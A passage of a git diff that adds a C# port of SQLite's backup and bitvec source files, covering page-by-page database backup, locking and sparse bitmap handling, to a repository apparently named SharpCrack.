13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e +** +************************************************************************* +*/ +//#include "sqliteInt.h" +//#include "btreeInt.h" + +/* Macro to find the minimum of two numeric values. +*/ +#if !MIN +//# define MIN(x,y) ((x)<(y)?(x):(y)) +#endif + +/* +** Structure allocated for each backup operation. +*/ +public class sqlite3_backup +{ + public sqlite3 pDestDb; /* Destination database handle */ + public Btree pDest; /* Destination b-tree file */ + public u32 iDestSchema; /* Original schema cookie in destination */ + public int bDestLocked; /* True once a write-transaction is open on pDest */ + + public Pgno iNext; /* Page number of the next source page to copy */ + public sqlite3 pSrcDb; /* Source database handle */ + public Btree pSrc; /* Source b-tree file */ + + public int rc; /* Backup process error code */ + + /* These two variables are set by every call to backup_step(). They are + ** read by calls to backup_remaining() and backup_pagecount(). + */ + public Pgno nRemaining; /* Number of pages left to copy */ + public Pgno nPagecount; /* Total number of pages to copy */ + + public int isAttached; /* True once backup has been registered with pager */ + public sqlite3_backup pNext; /* Next backup associated with source pager */ +}; + +/* +** THREAD SAFETY NOTES: +** +** Once it has been created using backup_init(), a single sqlite3_backup +** structure may be accessed via two groups of thread-safe entry points: +** +** * Via the sqlite3_backup_XXX() API function backup_step() and +** backup_finish(). Both these functions obtain the source database +** handle mutex and the mutex associated with the source BtShared +** structure, in that order. +** +** * Via the BackupUpdate() and BackupRestart() functions, which are +** invoked by the pager layer to report various state changes in +** the page cache associated with the source database. The mutex +** associated with the source database BtShared structure will always +** be held when either of these functions are invoked. +** +** The other sqlite3_backup_XXX() API functions, backup_remaining() and +** backup_pagecount() are not thread-safe functions. If they are called +** while some other thread is calling backup_step() or backup_finish(), +** the values returned may be invalid. There is no way for a call to +** BackupUpdate() or BackupRestart() to interfere with backup_remaining() +** or backup_pagecount(). +** +** Depending on the SQLite configuration, the database handles and/or +** the Btree objects may have their own mutexes that require locking. +** Non-sharable Btrees (in-memory databases for example), do not have +** associated mutexes. +*/ + +/* +** Return a pointer corresponding to database zDb (i.e. "main", "temp") +** in connection handle pDb. If such a database cannot be found, return +** a NULL pointer and write an error message to pErrorDb. +** +** If the "temp" database is requested, it may need to be opened by this +** function. If an error occurs while doing so, return 0 and write an +** error message to pErrorDb. +*/ +static Btree findBtree( sqlite3 pErrorDb, sqlite3 pDb, string zDb ) +{ + int i = sqlite3FindDbName( pDb, zDb ); + + if ( i == 1 ) + { + Parse pParse; + int rc = 0; + pParse = new Parse();//sqlite3StackAllocZero(pErrorDb, sizeof(*pParse)); + if ( pParse == null ) + { + sqlite3Error( pErrorDb, SQLITE_NOMEM, "out of memory" ); + rc = SQLITE_NOMEM; + } + else + { + pParse.db = pDb; + if ( sqlite3OpenTempDatabase( pParse ) != 0 ) + { + sqlite3Error( pErrorDb, pParse.rc, "%s", pParse.zErrMsg ); + rc = SQLITE_ERROR; + } + sqlite3DbFree( pErrorDb, ref pParse.zErrMsg ); + //sqlite3StackFree( pErrorDb, pParse ); + } + if ( rc != 0 ) + { + return null; + } + } + + if ( i < 0 ) + { + sqlite3Error( pErrorDb, SQLITE_ERROR, "unknown database %s", zDb ); + return null; + } + + return pDb.aDb[i].pBt; +} + +/* +** Attempt to set the page size of the destination to match the page size +** of the source. +*/ +static int setDestPgsz( sqlite3_backup p ) +{ + int rc; + rc = sqlite3BtreeSetPageSize( p.pDest, sqlite3BtreeGetPageSize( p.pSrc ), -1, 0 ); + return rc; +} + +/* +** Create an sqlite3_backup process to copy the contents of zSrcDb from +** connection handle pSrcDb to zDestDb in pDestDb. If successful, return +** a pointer to the new sqlite3_backup object. +** +** If an error occurs, NULL is returned and an error code and error message +** stored in database handle pDestDb. +*/ +static public sqlite3_backup sqlite3_backup_init( +sqlite3 pDestDb, /* Database to write to */ +string zDestDb, /* Name of database within pDestDb */ +sqlite3 pSrcDb, /* Database connection to read from */ +string zSrcDb /* Name of database within pSrcDb */ +) +{ + sqlite3_backup p; /* Value to return */ + + /* Lock the source database handle. The destination database + ** handle is not locked in this routine, but it is locked in + ** sqlite3_backup_step(). The user is required to ensure that no + ** other thread accesses the destination handle for the duration + ** of the backup operation. Any attempt to use the destination + ** database connection while a backup is in progress may cause + ** a malfunction or a deadlock. + */ + sqlite3_mutex_enter( pSrcDb.mutex ); + sqlite3_mutex_enter( pDestDb.mutex ); + + if ( pSrcDb == pDestDb ) + { + sqlite3Error( + pDestDb, SQLITE_ERROR, "source and destination must be distinct" + ); + p = null; + } + else + { + /* Allocate space for a new sqlite3_backup object... + ** EVIDENCE-OF: R-64852-21591 The sqlite3_backup object is created by a + ** call to sqlite3_backup_init() and is destroyed by a call to + ** sqlite3_backup_finish(). */ + p = new sqlite3_backup();// (sqlite3_backup)sqlite3_malloc( sizeof( sqlite3_backup ) ); + //if ( null == p ) + //{ + // sqlite3Error( pDestDb, SQLITE_NOMEM, 0 ); + //} + } + + /* If the allocation succeeded, populate the new object. */ + if ( p != null ) + { + // memset( p, 0, sizeof( sqlite3_backup ) ); + p.pSrc = findBtree( pDestDb, pSrcDb, zSrcDb ); + p.pDest = findBtree( pDestDb, pDestDb, zDestDb ); + p.pDestDb = pDestDb; + p.pSrcDb = pSrcDb; + p.iNext = 1; + p.isAttached = 0; + + if ( null == p.pSrc || null == p.pDest || setDestPgsz( p ) == SQLITE_NOMEM ) + { + /* One (or both) of the named databases did not exist or an OOM + ** error was hit. The error has already been written into the + ** pDestDb handle. All that is left to do here is free the + ** sqlite3_backup structure. + */ + //sqlite3_free( ref p ); + p = null; + } + } + + if ( p != null ) + { + p.pSrc.nBackup++; + } + + sqlite3_mutex_leave( pDestDb.mutex ); + sqlite3_mutex_leave( pSrcDb.mutex ); + return p; +} + +/* +** Argument rc is an SQLite error code. Return true if this error is +** considered fatal if encountered during a backup operation. All errors +** are considered fatal except for SQLITE_BUSY and SQLITE_LOCKED. +*/ +static bool isFatalError( int rc ) +{ + return ( rc != SQLITE_OK && rc != SQLITE_BUSY && ALWAYS( rc != SQLITE_LOCKED ) ); +} + +/* +** Parameter zSrcData points to a buffer containing the data for +** page iSrcPg from the source database. Copy this data into the +** destination database. +*/ +static int backupOnePage( sqlite3_backup p, Pgno iSrcPg, byte[] zSrcData ) +{ + Pager pDestPager = sqlite3BtreePager( p.pDest ); + int nSrcPgsz = sqlite3BtreeGetPageSize( p.pSrc ); + int nDestPgsz = sqlite3BtreeGetPageSize( p.pDest ); + int nCopy = MIN( nSrcPgsz, nDestPgsz ); + i64 iEnd = (i64)iSrcPg * (i64)nSrcPgsz; +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + int nSrcReserve = sqlite3BtreeGetReserve(p.pSrc); + int nDestReserve = sqlite3BtreeGetReserve(p.pDest); +#endif + + int rc = SQLITE_OK; + i64 iOff; + + Debug.Assert( p.bDestLocked != 0 ); + Debug.Assert( !isFatalError( p.rc ) ); + Debug.Assert( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ); + Debug.Assert( zSrcData != null ); + + /* Catch the case where the destination is an in-memory database and the + ** page sizes of the source and destination differ. + */ + if ( nSrcPgsz != nDestPgsz && sqlite3PagerIsMemdb( pDestPager ) ) + { + rc = SQLITE_READONLY; + } + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + /* Backup is not possible if the page size of the destination is changing + ** and a codec is in use. + */ + if ( nSrcPgsz != nDestPgsz && sqlite3PagerGetCodec( pDestPager ) != null ) + { + rc = SQLITE_READONLY; + } + + /* Backup is not possible if the number of bytes of reserve space differ + ** between source and destination. If there is a difference, try to + ** fix the destination to agree with the source. If that is not possible, + ** then the backup cannot proceed. + */ + if ( nSrcReserve != nDestReserve ) + { + u32 newPgsz = (u32)nSrcPgsz; + rc = sqlite3PagerSetPagesize( pDestPager, ref newPgsz, nSrcReserve ); + if ( rc == SQLITE_OK && newPgsz != nSrcPgsz ) + rc = SQLITE_READONLY; + } +#endif + + /* This loop runs once for each destination page spanned by the source + ** page. For each iteration, variable iOff is set to the byte offset + ** of the destination page. + */ + for ( iOff = iEnd - (i64)nSrcPgsz; rc == SQLITE_OK && iOff < iEnd; iOff += nDestPgsz ) + { + DbPage pDestPg = null; + u32 iDest = (u32)( iOff / nDestPgsz ) + 1; + if ( iDest == PENDING_BYTE_PAGE( p.pDest.pBt ) ) + continue; + if ( SQLITE_OK == ( rc = sqlite3PagerGet( pDestPager, iDest, ref pDestPg ) ) + && SQLITE_OK == ( rc = sqlite3PagerWrite( pDestPg ) ) + ) + { + //string zIn = &zSrcData[iOff%nSrcPgsz]; + byte[] zDestData = sqlite3PagerGetData( pDestPg ); + //string zOut = &zDestData[iOff % nDestPgsz]; + + /* Copy the data from the source page into the destination page. + ** Then clear the Btree layer MemPage.isInit flag. Both this module + ** and the pager code use this trick (clearing the first byte + ** of the page 'extra' space to invalidate the Btree layers + ** cached parse of the page). MemPage.isInit is marked + ** "MUST BE FIRST" for this purpose. + */ + Buffer.BlockCopy( zSrcData, (int)( iOff % nSrcPgsz ), zDestData, (int)( iOff % nDestPgsz ), nCopy );// memcpy( zOut, zIn, nCopy ); + sqlite3PagerGetExtra( pDestPg ).isInit = 0;// ( sqlite3PagerGetExtra( pDestPg ) )[0] = 0; + } + sqlite3PagerUnref( pDestPg ); + } + + return rc; +} + +/* +** If pFile is currently larger than iSize bytes, then truncate it to +** exactly iSize bytes. If pFile is not larger than iSize bytes, then +** this function is a no-op. +** +** Return SQLITE_OK if everything is successful, or an SQLite error +** code if an error occurs. +*/ +static int backupTruncateFile( sqlite3_file pFile, int iSize ) +{ + long iCurrent = 0; + int rc = sqlite3OsFileSize( pFile, ref iCurrent ); + if ( rc == SQLITE_OK && iCurrent > iSize ) + { + rc = sqlite3OsTruncate( pFile, iSize ); + } + return rc; +} + +/* +** Register this backup object with the associated source pager for +** callbacks when pages are changed or the cache invalidated. +*/ +static void attachBackupObject( sqlite3_backup p ) +{ + sqlite3_backup pp; + Debug.Assert( sqlite3BtreeHoldsMutex( p.pSrc ) ); + pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); + p.pNext = pp; + sqlite3BtreePager( p.pSrc ).pBackup = p; //*pp = p; + p.isAttached = 1; +} + +/* +** Copy nPage pages from the source b-tree to the destination. +*/ +static public int sqlite3_backup_step( sqlite3_backup p, int nPage ) +{ + int rc; + int destMode; /* Destination journal mode */ + int pgszSrc = 0; /* Source page size */ + int pgszDest = 0; /* Destination page size */ + + sqlite3_mutex_enter( p.pSrcDb.mutex ); + sqlite3BtreeEnter( p.pSrc ); + if ( p.pDestDb != null ) + { + sqlite3_mutex_enter( p.pDestDb.mutex ); + } + + rc = p.rc; + if ( !isFatalError( rc ) ) + { + Pager pSrcPager = sqlite3BtreePager( p.pSrc ); /* Source pager */ + Pager pDestPager = sqlite3BtreePager( p.pDest ); /* Dest pager */ + int ii; /* Iterator variable */ + Pgno nSrcPage = 0; /* Size of source db in pages */ + int bCloseTrans = 0; /* True if src db requires unlocking */ + + /* If the source pager is currently in a write-transaction, return + ** SQLITE_BUSY immediately. + */ + if ( p.pDestDb != null && p.pSrc.pBt.inTransaction == TRANS_WRITE ) + { + rc = SQLITE_BUSY; + } + else + { + rc = SQLITE_OK; + } + + /* Lock the destination database, if it is not locked already. */ + if ( SQLITE_OK == rc && p.bDestLocked == 0 + && SQLITE_OK == ( rc = sqlite3BtreeBeginTrans( p.pDest, 2 ) ) + ) + { + p.bDestLocked = 1; + sqlite3BtreeGetMeta( p.pDest, BTREE_SCHEMA_VERSION, ref p.iDestSchema ); + } + + /* If there is no open read-transaction on the source database, open + ** one now. If a transaction is opened here, then it will be closed + ** before this function exits. + */ + if ( rc == SQLITE_OK && !sqlite3BtreeIsInReadTrans( p.pSrc ) ) + { + rc = sqlite3BtreeBeginTrans( p.pSrc, 0 ); + bCloseTrans = 1; + } + + /* Do not allow backup if the destination database is in WAL mode + ** and the page sizes are different between source and destination */ + pgszSrc = sqlite3BtreeGetPageSize( p.pSrc ); + pgszDest = sqlite3BtreeGetPageSize( p.pDest ); + destMode = sqlite3PagerGetJournalMode( sqlite3BtreePager( p.pDest ) ); + if ( SQLITE_OK == rc && destMode == PAGER_JOURNALMODE_WAL && pgszSrc != pgszDest ) + { + rc = SQLITE_READONLY; + } + + /* Now that there is a read-lock on the source database, query the + ** source pager for the number of pages in the database. + */ + nSrcPage = sqlite3BtreeLastPage( p.pSrc ); + Debug.Assert( nSrcPage >= 0 ); + + for ( ii = 0; ( nPage < 0 || ii < nPage ) && p.iNext <= nSrcPage && 0 == rc; ii++ ) + { + Pgno iSrcPg = p.iNext; /* Source page number */ + if ( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ) + { + DbPage pSrcPg = null; /* Source page object */ + rc = sqlite3PagerGet( pSrcPager, (u32)iSrcPg, ref pSrcPg ); + if ( rc == SQLITE_OK ) + { + rc = backupOnePage( p, iSrcPg, sqlite3PagerGetData( pSrcPg ) ); + sqlite3PagerUnref( pSrcPg ); + } + } + p.iNext++; + } + if ( rc == SQLITE_OK ) + { + p.nPagecount = nSrcPage; + p.nRemaining = ( nSrcPage + 1 - p.iNext ); + if ( p.iNext > nSrcPage ) + { + rc = SQLITE_DONE; + } + else if ( 0 == p.isAttached ) + { + attachBackupObject( p ); + } + } + + + /* Update the schema version field in the destination database. This + ** is to make sure that the schema-version really does change in + ** the case where the source and destination databases have the + ** same schema version. + */ + if ( rc == SQLITE_DONE + && ( rc = sqlite3BtreeUpdateMeta( p.pDest, 1, p.iDestSchema + 1 ) ) == SQLITE_OK + ) + { + Pgno nDestTruncate; + if ( p.pDestDb != null ) + { + sqlite3ResetInternalSchema( p.pDestDb, -1 ); + } + + /* Set nDestTruncate to the final number of pages in the destination + ** database. The complication here is that the destination page + ** size may be different to the source page size. + ** + ** If the source page size is smaller than the destination page size, + ** round up. In this case the call to sqlite3OsTruncate() below will + ** fix the size of the file. However it is important to call + ** sqlite3PagerTruncateImage() here so that any pages in the + ** destination file that lie beyond the nDestTruncate page mark are + ** journalled by PagerCommitPhaseOne() before they are destroyed + ** by the file truncation. + */ + Debug.Assert( pgszSrc == sqlite3BtreeGetPageSize( p.pSrc ) ); + Debug.Assert( pgszDest == sqlite3BtreeGetPageSize( p.pDest ) ); + if ( pgszSrc < pgszDest ) + { + int ratio = pgszDest / pgszSrc; + nDestTruncate = (Pgno)( ( nSrcPage + ratio - 1 ) / ratio ); + if ( nDestTruncate == (int)PENDING_BYTE_PAGE( p.pDest.pBt ) ) + { + nDestTruncate--; + } + } + else + { + nDestTruncate = (Pgno)( nSrcPage * ( pgszSrc / pgszDest ) ); + } + sqlite3PagerTruncateImage( pDestPager, nDestTruncate ); + + if ( pgszSrc < pgszDest ) + { + /* If the source page-size is smaller than the destination page-size, + ** two extra things may need to happen: + ** + ** * The destination may need to be truncated, and + ** + ** * Data stored on the pages immediately following the + ** pending-byte page in the source database may need to be + ** copied into the destination database. + */ + int iSize = (int)( pgszSrc * nSrcPage ); + sqlite3_file pFile = sqlite3PagerFile( pDestPager ); + i64 iOff; + i64 iEnd; + + Debug.Assert( pFile != null ); + Debug.Assert( (i64)nDestTruncate * (i64)pgszDest >= iSize || ( + nDestTruncate == (int)( PENDING_BYTE_PAGE( p.pDest.pBt ) - 1 ) + && iSize >= PENDING_BYTE && iSize <= PENDING_BYTE + pgszDest + ) ); + + /* This call ensures that all data required to recreate the original + ** database has been stored in the journal for pDestPager and the + ** journal synced to disk. So at this point we may safely modify + ** the database file in any way, knowing that if a power failure + ** occurs, the original database will be reconstructed from the + ** journal file. */ + rc = sqlite3PagerCommitPhaseOne( pDestPager, null, true ); + + /* Write the extra pages and truncate the database file as required. */ + iEnd = MIN( PENDING_BYTE + pgszDest, iSize ); + for ( + iOff = PENDING_BYTE + pgszSrc; + rc == SQLITE_OK && iOff < iEnd; + iOff += pgszSrc + ) + { + PgHdr pSrcPg = null; + u32 iSrcPg = (u32)( ( iOff / pgszSrc ) + 1 ); + rc = sqlite3PagerGet( pSrcPager, iSrcPg, ref pSrcPg ); + if ( rc == SQLITE_OK ) + { + byte[] zData = sqlite3PagerGetData( pSrcPg ); + rc = sqlite3OsWrite( pFile, zData, pgszSrc, iOff ); + } + sqlite3PagerUnref( pSrcPg ); + } + if ( rc == SQLITE_OK ) + { + rc = backupTruncateFile( pFile, (int)iSize ); + } + + /* Sync the database file to disk. */ + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerSync( pDestPager ); + } + } + else + { + rc = sqlite3PagerCommitPhaseOne( pDestPager, null, false ); + } + + /* Finish committing the transaction to the destination database. */ + if ( SQLITE_OK == rc + && SQLITE_OK == ( rc = sqlite3BtreeCommitPhaseTwo( p.pDest, 0 ) ) + ) + { + rc = SQLITE_DONE; + } + } + + /* If bCloseTrans is true, then this function opened a read transaction + ** on the source database. Close the read transaction here. There is + ** no need to check the return values of the btree methods here, as + ** "committing" a read-only transaction cannot fail. + */ + if ( bCloseTrans != 0 ) + { +#if !NDEBUG || SQLITE_COVERAGE_TEST + //TESTONLY( int rc2 ); + //TESTONLY( rc2 = ) sqlite3BtreeCommitPhaseOne(p.pSrc, 0); + //TESTONLY( rc2 |= ) sqlite3BtreeCommitPhaseTwo(p.pSrc); + int rc2; + rc2 = sqlite3BtreeCommitPhaseOne( p.pSrc, "" ); + rc2 |= sqlite3BtreeCommitPhaseTwo( p.pSrc, 0 ); + Debug.Assert( rc2 == SQLITE_OK ); +#else +sqlite3BtreeCommitPhaseOne(p.pSrc, null); +sqlite3BtreeCommitPhaseTwo(p.pSrc, 0); +#endif + } + + if ( rc == SQLITE_IOERR_NOMEM ) + { + rc = SQLITE_NOMEM; + } + p.rc = rc; + } + if ( p.pDestDb != null ) + { + sqlite3_mutex_leave( p.pDestDb.mutex ); + } + sqlite3BtreeLeave( p.pSrc ); + sqlite3_mutex_leave( p.pSrcDb.mutex ); + return rc; +} + +/* +** Release all resources associated with an sqlite3_backup* handle. +*/ +static public int sqlite3_backup_finish( sqlite3_backup p ) +{ + sqlite3_backup pp; /* Ptr to head of pagers backup list */ + sqlite3_mutex mutex; /* Mutex to protect source database */ + int rc; /* Value to return */ + + /* Enter the mutexes */ + if ( p == null ) + return SQLITE_OK; + sqlite3_mutex_enter( p.pSrcDb.mutex ); + sqlite3BtreeEnter( p.pSrc ); + mutex = p.pSrcDb.mutex; + if ( p.pDestDb != null ) + { + sqlite3_mutex_enter( p.pDestDb.mutex ); + } + + /* Detach this backup from the source pager. */ + if ( p.pDestDb != null ) + { + p.pSrc.nBackup--; + } + if ( p.isAttached != 0 ) + { + pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); + while ( pp != p ) + { + pp = ( pp ).pNext; + } + sqlite3BtreePager( p.pSrc ).pBackup = p.pNext; + } + + /* If a transaction is still open on the Btree, roll it back. */ + sqlite3BtreeRollback( p.pDest ); + + /* Set the error code of the destination database handle. */ + rc = ( p.rc == SQLITE_DONE ) ? SQLITE_OK : p.rc; + sqlite3Error( p.pDestDb, rc, 0 ); + + /* Exit the mutexes and free the backup context structure. */ + if ( p.pDestDb != null ) + { + sqlite3_mutex_leave( p.pDestDb.mutex ); + } + sqlite3BtreeLeave( p.pSrc ); + if ( p.pDestDb != null ) + { + /* EVIDENCE-OF: R-64852-21591 The sqlite3_backup object is created by a + ** call to sqlite3_backup_init() and is destroyed by a call to + ** sqlite3_backup_finish(). */ + //sqlite3_free( ref p ); + } + sqlite3_mutex_leave( mutex ); + return rc; +} + +/* +** Return the number of pages still to be backed up as of the most recent +** call to sqlite3_backup_step(). +*/ +static int sqlite3_backup_remaining( sqlite3_backup p ) +{ + return (int)p.nRemaining; +} + +/* +** Return the total number of pages in the source database as of the most +** recent call to sqlite3_backup_step(). +*/ +static int sqlite3_backup_pagecount( sqlite3_backup p ) +{ + return (int)p.nPagecount; +} + +/* +** This function is called after the contents of page iPage of the +** source database have been modified. If page iPage has already been +** copied into the destination database, then the data written to the +** destination is now invalidated. The destination copy of iPage needs +** to be updated with the new data before the backup operation is +** complete. +** +** It is assumed that the mutex associated with the BtShared object +** corresponding to the source database is held when this function is +** called. +*/ +static void sqlite3BackupUpdate( sqlite3_backup pBackup, Pgno iPage, byte[] aData ) +{ + sqlite3_backup p; /* Iterator variable */ + for ( p = pBackup; p != null; p = p.pNext ) + { + Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); + if ( !isFatalError( p.rc ) && iPage < p.iNext ) + { + /* The backup process p has already copied page iPage. But now it + ** has been modified by a transaction on the source pager. Copy + ** the new data into the backup. + */ + int rc; + Debug.Assert( p.pDestDb != null ); + sqlite3_mutex_enter( p.pDestDb.mutex ); + rc = backupOnePage( p, iPage, aData ); + sqlite3_mutex_leave( p.pDestDb.mutex ); + Debug.Assert( rc != SQLITE_BUSY && rc != SQLITE_LOCKED ); + if ( rc != SQLITE_OK ) + { + p.rc = rc; + } + } + } +} + +/* +** Restart the backup process. This is called when the pager layer +** detects that the database has been modified by an external database +** connection. In this case there is no way of knowing which of the +** pages that have been copied into the destination database are still +** valid and which are not, so the entire process needs to be restarted. +** +** It is assumed that the mutex associated with the BtShared object +** corresponding to the source database is held when this function is +** called. +*/ +static void sqlite3BackupRestart( sqlite3_backup pBackup ) +{ + sqlite3_backup p; /* Iterator variable */ + for ( p = pBackup; p != null; p = p.pNext ) + { + Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); + p.iNext = 1; + } +} + +#if !SQLITE_OMIT_VACUUM +/* +** Copy the complete content of pBtFrom into pBtTo. A transaction +** must be active for both files. +** +** The size of file pTo may be reduced by this operation. If anything +** goes wrong, the transaction on pTo is rolled back. If successful, the +** transaction is committed before returning. +*/ +static int sqlite3BtreeCopyFile( Btree pTo, Btree pFrom ) +{ + int rc; + sqlite3_backup b; + sqlite3BtreeEnter( pTo ); + sqlite3BtreeEnter( pFrom ); + + /* Set up an sqlite3_backup object. sqlite3_backup.pDestDb must be set + ** to 0. This is used by the implementations of sqlite3_backup_step() + ** and sqlite3_backup_finish() to detect that they are being called + ** from this function, not directly by the user. + */ + b = new sqlite3_backup();// memset( &b, 0, sizeof( b ) ); + b.pSrcDb = pFrom.db; + b.pSrc = pFrom; + b.pDest = pTo; + b.iNext = 1; + + /* 0x7FFFFFFF is the hard limit for the number of pages in a database + ** file. By passing this as the number of pages to copy to + ** sqlite3_backup_step(), we can guarantee that the copy finishes + ** within a single call (unless an error occurs). The Debug.Assert() statement + ** checks this assumption - (p.rc) should be set to either SQLITE_DONE + ** or an error code. + */ + sqlite3_backup_step( b, 0x7FFFFFFF ); + Debug.Assert( b.rc != SQLITE_OK ); + rc = sqlite3_backup_finish( b ); + if ( rc == SQLITE_OK ) + { + pTo.pBt.pageSizeFixed = false; + } + + sqlite3BtreeLeave( pFrom ); + sqlite3BtreeLeave( pTo ); + return rc; +} +#endif //* SQLITE_OMIT_VACUUM */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/bitvec_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/bitvec_c.cs new file mode 100644 index 0000000..6b7414b --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/bitvec_c.cs @@ -0,0 +1,534 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using Pgno = System.UInt32; +using i64 = System.Int64; +using u32 = System.UInt32; +using BITVEC_TELEM = System.Byte; + +namespace Community.CsharpSqlite +{ + + public partial class Sqlite3 + { +/* +** 2008 February 16 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** This file implements an object that represents a fixed-length +** bitmap. Bits are numbered starting with 1. +** +** A bitmap is used to record which pages of a database file have been +** journalled during a transaction, or which pages have the "dont-write" +** property. Usually only a few pages are meet either condition. +** So the bitmap is usually sparse and has low cardinality. +** But sometimes (for example when during a DROP of a large table) most +** or all of the pages in a database can get journalled. In those cases, +** the bitmap becomes dense with high cardinality. The algorithm needs +** to handle both cases well. +** +** The size of the bitmap is fixed when the object is created. +** +** All bits are clear when the bitmap is created. Individual bits +** may be set or cleared one at a time. +** +** Test operations are about 100 times more common that set operations. +** Clear operations are exceedingly rare. There are usually between +** 5 and 500 set operations per Bitvec object, though the number of sets can +** sometimes grow into tens of thousands or larger. The size of the +** Bitvec object is the number of pages in the database file at the +** start of a transaction, and is thus usually less than a few thousand, +** but can be as large as 2 billion for a really big database. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 +** +************************************************************************* +*/ +//#include "sqliteInt.h" + +/* Size of the Bitvec structure in bytes. */ +static int BITVEC_SZ = 512; + + +/* Round the union size down to the nearest pointer boundary, since that's how +** it will be aligned within the Bitvec struct. */ +//#define BITVEC_USIZE (((BITVEC_SZ-(3*sizeof(u32)))/sizeof(Bitvec*))*sizeof(Bitvec*)) +static int BITVEC_USIZE = ( ( ( BITVEC_SZ - ( 3 * sizeof( u32 ) ) ) / 4 ) * 4 ); + +/* Type of the array "element" for the bitmap representation. +** Should be a power of 2, and ideally, evenly divide into BITVEC_USIZE. +** Setting this to the "natural word" size of your CPU may improve +** performance. */ +//#define BITVEC_TELEM u8 +//using BITVEC_TELEM = System.Byte; + +/* Size, in bits, of the bitmap element. */ +//#define BITVEC_SZELEM 8 +const int BITVEC_SZELEM = 8; + +/* Number of elements in a bitmap array. */ +//#define BITVEC_NELEM (BITVEC_USIZE/sizeof(BITVEC_TELEM)) +static int BITVEC_NELEM = (int)( BITVEC_USIZE / sizeof( BITVEC_TELEM ) ); + +/* Number of bits in the bitmap array. */ +//#define BITVEC_NBIT (BITVEC_NELEM*BITVEC_SZELEM) +static int BITVEC_NBIT = ( BITVEC_NELEM * BITVEC_SZELEM ); + +/* Number of u32 values in hash table. */ +//#define BITVEC_NINT (BITVEC_USIZE/sizeof(u32)) +static u32 BITVEC_NINT = (u32)( BITVEC_USIZE / sizeof( u32 ) ); + +/* Maximum number of entries in hash table before +** sub-dividing and re-hashing. */ +//#define BITVEC_MXHASH (BITVEC_NINT/2) +static int BITVEC_MXHASH = (int)( BITVEC_NINT / 2 ); + +/* Hashing function for the aHash representation. +** Empirical testing showed that the *37 multiplier +** (an arbitrary prime)in the hash function provided +** no fewer collisions than the no-op *1. */ +//#define BITVEC_HASH(X) (((X)*1)%BITVEC_NINT) +static u32 BITVEC_HASH( u32 X ) +{ + return (u32)( ( ( X ) * 1 ) % BITVEC_NINT ); +} + +static int BITVEC_NPTR = (int)( BITVEC_USIZE / 4 );//sizeof(Bitvec *)); + + +/* +** A bitmap is an instance of the following structure. +** +** This bitmap records the existence of zero or more bits +** with values between 1 and iSize, inclusive. +** +** There are three possible representations of the bitmap. +** If iSize<=BITVEC_NBIT, then Bitvec.u.aBitmap[] is a straight +** bitmap. The least significant bit is bit 1. +** +** If iSize>BITVEC_NBIT and iDivisor==0 then Bitvec.u.aHash[] is +** a hash table that will hold up to BITVEC_MXHASH distinct values. +** +** Otherwise, the value i is redirected into one of BITVEC_NPTR +** sub-bitmaps pointed to by Bitvec.u.apSub[]. Each subbitmap +** handles up to iDivisor separate values of i. apSub[0] holds +** values between 1 and iDivisor. apSub[1] holds values between +** iDivisor+1 and 2*iDivisor. apSub[N] holds values between +** N*iDivisor+1 and (N+1)*iDivisor. Each subbitmap is normalized +** to hold deal with values between 1 and iDivisor. +*/ +public class _u +{ + public BITVEC_TELEM[] aBitmap = new byte[BITVEC_NELEM]; /* Bitmap representation */ + public u32[] aHash = new u32[BITVEC_NINT]; /* Hash table representation */ + public Bitvec[] apSub = new Bitvec[BITVEC_NPTR]; /* Recursive representation */ +} +public class Bitvec +{ + public u32 iSize; /* Maximum bit index. Max iSize is 4,294,967,296. */ + public u32 nSet; /* Number of bits that are set - only valid for aHash + ** element. Max is BITVEC_NINT. For BITVEC_SZ of 512, + ** this would be 125. */ + public u32 iDivisor; /* Number of bits handled by each apSub[] entry. */ + /* Should >=0 for apSub element. */ + /* Max iDivisor is max(u32) / BITVEC_NPTR + 1. */ + /* For a BITVEC_SZ of 512, this would be 34,359,739. */ + public _u u = new _u(); + + public static implicit operator bool( Bitvec b ) + { + return ( b != null ); + } +}; + +/* +** Create a new bitmap object able to handle bits between 0 and iSize, +** inclusive. Return a pointer to the new object. Return NULL if +** malloc fails. +*/ +static Bitvec sqlite3BitvecCreate( u32 iSize ) +{ + Bitvec p; + //Debug.Assert( sizeof(p)==BITVEC_SZ ); + p = new Bitvec();//sqlite3MallocZero( sizeof(p) ); + if ( p != null ) + { + p.iSize = iSize; + } + return p; +} + +/* +** Check to see if the i-th bit is set. Return true or false. +** If p is NULL (if the bitmap has not been created) or if +** i is out of range, then return false. +*/ +static int sqlite3BitvecTest( Bitvec p, u32 i ) +{ + if ( p == null || i == 0 ) + return 0; + if ( i > p.iSize ) + return 0; + i--; + while ( p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + p = p.u.apSub[bin]; + if ( null == p ) + { + return 0; + } + } + if ( p.iSize <= BITVEC_NBIT ) + { + return ( ( p.u.aBitmap[i / BITVEC_SZELEM] & ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ) != 0 ) ? 1 : 0; + } + else + { + u32 h = BITVEC_HASH( i++ ); + while ( p.u.aHash[h] != 0 ) + { + if ( p.u.aHash[h] == i ) + return 1; + h = ( h + 1 ) % BITVEC_NINT; + } + return 0; + } +} + +/* +** Set the i-th bit. Return 0 on success and an 